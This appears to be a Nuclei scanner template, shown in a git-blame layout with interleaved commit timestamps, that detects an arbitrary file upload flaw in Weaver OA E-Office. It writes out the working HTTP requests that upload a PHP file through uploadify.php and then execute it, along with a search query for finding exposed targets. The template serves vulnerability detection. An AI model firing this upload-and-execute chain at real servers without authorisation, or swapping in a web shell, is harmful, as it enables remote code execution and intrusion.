2023-09-13 11:22:00 +00:00
|
|
|
id: weaver-jquery-file-upload
|
2023-08-18 03:22:06 +00:00
|
|
|
|
|
|
|
info:
|
2023-09-13 11:22:00 +00:00
|
|
|
name: OA E-Office jQuery - Arbitrary File Upload
|
2023-08-18 03:22:06 +00:00
|
|
|
author: SleepingBag945
|
|
|
|
severity: critical
|
2024-01-02 15:45:12 +00:00
|
|
|
description: Arbitrary File Upload in OA E-Office jQuery.
|
2023-08-18 03:22:06 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
|
2024-09-10 08:41:12 +00:00
|
|
|
classification:
|
|
|
|
cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
|
2023-09-13 11:22:00 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 3
|
|
|
|
fofa-query: app="泛微-EOffice"
|
2024-09-10 08:22:50 +00:00
|
|
|
product: e-office
|
|
|
|
vendor: weaver
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: weaver,e-office,oa,instrusive,rce,intrusive
|
2024-09-10 08:41:12 +00:00
|
|
|
|
2023-09-13 11:22:00 +00:00
|
|
|
variables:
|
|
|
|
filename: "{{to_lower(rand_base(5))}}"
|
|
|
|
string: "{{randstr}}"
|
2023-08-18 03:22:06 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /inc/jquery/uploadify/uploadify.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
|
|
|
|
Accept: */*
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjetvpuye
|
|
|
|
Accept-Encoding: gzip
|
|
|
|
|
|
|
|
------WebKitFormBoundaryjetvpuye
|
2023-09-13 11:22:00 +00:00
|
|
|
Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.php"
|
2023-08-18 03:22:06 +00:00
|
|
|
Content-Type: application/octet-stream
|
|
|
|
|
2023-09-13 11:22:00 +00:00
|
|
|
<?php echo "{{string}}";unlink(__FILE__);?>
|
2023-08-18 03:22:06 +00:00
|
|
|
------WebKitFormBoundaryjetvpuye--
|
|
|
|
- |
|
2023-09-13 11:22:00 +00:00
|
|
|
GET /attachment/{{attachmentID}}/{{filename}}.php HTTP/1.1
|
2023-08-18 03:22:06 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: attachmentID
|
|
|
|
internal: true
|
|
|
|
regex:
|
|
|
|
- "[0-9]{10}"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
2023-09-17 16:11:07 +00:00
|
|
|
dsl:
|
2023-08-18 03:22:06 +00:00
|
|
|
- "status_code_1 == 200"
|
2023-09-13 11:22:00 +00:00
|
|
|
- "status_code_3 == 200 && contains(body_3,'{{string}}')"
|
2023-10-14 11:27:55 +00:00
|
|
|
condition: and
|
2024-09-12 05:14:01 +00:00
|
|
|
# digest: 4b0a00483046022100fe917c306ebcce567dd4f284a40bb1423bdad8d0decb0f54bf5d7a44287db986022100c32dbe41f06f36453e55c7204e336531f8175def5fffa0904d0c8e9034a363bb:922c64590222798bb761d5b6d8e72950
|